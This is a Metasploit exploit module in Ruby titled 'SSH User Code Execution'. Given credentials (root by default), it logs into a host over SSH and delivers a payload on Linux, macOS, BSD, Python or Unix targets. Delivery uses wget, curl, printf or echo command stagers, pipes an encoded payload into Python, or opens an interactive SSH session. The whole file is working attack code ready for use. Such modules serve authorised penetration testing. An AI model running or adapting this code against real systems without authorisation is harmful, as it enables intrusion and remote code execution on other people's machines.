##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::SSH

  attr_accessor :ssh_socket

  def initialize
    super(
      'Name' => 'SSH User Code Execution',
      'Description' => %q{
        This module connects to the target system and executes the necessary
        commands to run the specified payload via SSH. If a native payload is
        specified, an appropriate stager will be used.
      },
      'Author' => ['Spencer McIntyre', 'Brandon Knight'],
      'References' => [
        [ 'CVE', '1999-0502'], # Weak password
        [ 'ATT&CK', Mitre::Attack::Technique::T1021_004_SSH ]
      ],
      'License' => MSF_LICENSE,
      'Privileged' => true,
      'DefaultOptions' => {
        'PrependFork' => 'true',
        'EXITFUNC' => 'process'
      },
      'Payload' => {
        'Space' => 800000,
        'BadChars' => '',
        'DisableNops' => true
      },
      'CmdStagerFlavor' => %w[bourne echo printf wget],
      'Targets' => [
        [
          'Linux Command',
          {
            'Arch' => ARCH_CMD,
            'Platform' => 'linux'
          }
        ],
        [
          'Linux x86',
          {
            'Arch' => ARCH_X86,
            'Platform' => 'linux'
          }
        ],
        [
          'Linux x64',
          {
            'Arch' => ARCH_X64,
            'Platform' => 'linux'
          }
        ],
        [
          'Linux armle',
          {
            'Arch' => ARCH_ARMLE,
            'Platform' => 'linux'
          }
        ],
        [
          'Linux mipsle',
          {
            'Arch' => ARCH_MIPSLE,
            'Platform' => 'linux',
            'CmdStagerFlavor' => %w[curl wget]
          }
        ],
        [
          'Linux mipsbe',
          {
            'Arch' => ARCH_MIPSBE,
            'Platform' => 'linux',
            'CmdStagerFlavor' => %w[wget]
          }
        ],
        [
          'Linux aarch64',
          {
            'Arch' => ARCH_AARCH64,
            'Platform' => 'linux'
          }
        ],
        [
          'OSX x86',
          {
            'Arch' => ARCH_X86,
            'Platform' => 'osx',
            'CmdStagerFlavor' => %w[curl wget]
          }
        ],
        [
          'OSX x64',
          {
            'Arch' => ARCH_X64,
            'Platform' => 'osx',
            'CmdStagerFlavor' => %w[curl wget]
          }
        ],
        [
          'BSD x86',
          {
            'Arch' => ARCH_X86,
            'Platform' => 'bsd',
            'CmdStagerFlavor' => %w[printf curl wget]
          }
        ],
        [
          'BSD x64',
          {
            'Arch' => ARCH_X64,
            'Platform' => 'bsd',
            'CmdStagerFlavor' => %w[printf curl wget]
          }
        ],
        [
          'Python',
          {
            'Arch' => ARCH_PYTHON,
            'Platform' => 'python'
          }
        ],
        [
          'Unix Cmd',
          {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix'
          }
        ],
        [
          'Interactive SSH',
          {
            'DefaultOptions' => {
              'PAYLOAD' => 'generic/ssh/interact',
              'WfsDelay' => 5
            },
            'Payload' => {
              'Compat' => {
                'PayloadType' => 'ssh_interact'
              }
            }
          }
        ]
      ],
      'DefaultTarget' => 0,
      # For the CVE
      'DisclosureDate' => '1999-01-01',
      'Notes' => {
        'Stability' => [ CRASH_SAFE, ],
        'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
        'Reliability' => [ REPEATABLE_SESSION, ]
      },
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'The user to authenticate as.', 'root' ]),
        OptString.new('PASSWORD', [ true, 'The password to authenticate with.', '' ]),
        Opt::RHOST(),
        Opt::RPORT(22)
      ]
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
      ]
    )
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing #{cmd}")
    begin
      Timeout.timeout(3.5) { ssh_socket.exec!(cmd) }
    rescue Timeout::Error
      print_warning('Timed out while waiting for command to return')
      @timeout = true
    end
  end

  def do_login(ip, user, pass, port)
    opt_hash = ssh_client_defaults.merge({
      auth_methods: ['password', 'keyboard-interactive'],
      port: port,
      password: pass
    })

    opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']

    begin
      self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Disconnected during negotiation')
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, 'Timed out during negotiation')
    rescue Net::SSH::AuthenticationFailed
      fail_with(Failure::NoAccess, 'Failed authentication')
    rescue Net::SSH::Exception => e
      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
    end

    fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
  end

  def binary_exists(binary, platform: nil)
    Msf::Sessions::CommandShell.binary_exists(binary, platform: platform, &method(:execute_command))
  end

  def execute_python
    python_binary = binary_exists('python', platform: 'unix')
    python_binary ||= binary_exists('python3', platform: 'unix')
    python_binary ||= binary_exists('python2', platform: 'unix')
    fail_with(Failure::NoTarget, 'Python was not found on the target system') if python_binary.nil?

    execute_command("echo \"#{payload.encoded}\" | #{python_binary}")
  end

  def exploit
    do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])

    if target.name == 'Interactive SSH'
      handler(ssh_socket)
      return
    end

    print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")

    case target['Platform']
    when 'python'
      execute_python
    when 'unix'
      execute_command(payload.encoded)
    else
      if target['Arch'] == ARCH_CMD
        execute_command(payload.encoded)
      else
        execute_cmdstager(linemax: 500)
      end
    end

    @timeout ? ssh_socket.shutdown! : ssh_socket.close
  end
end
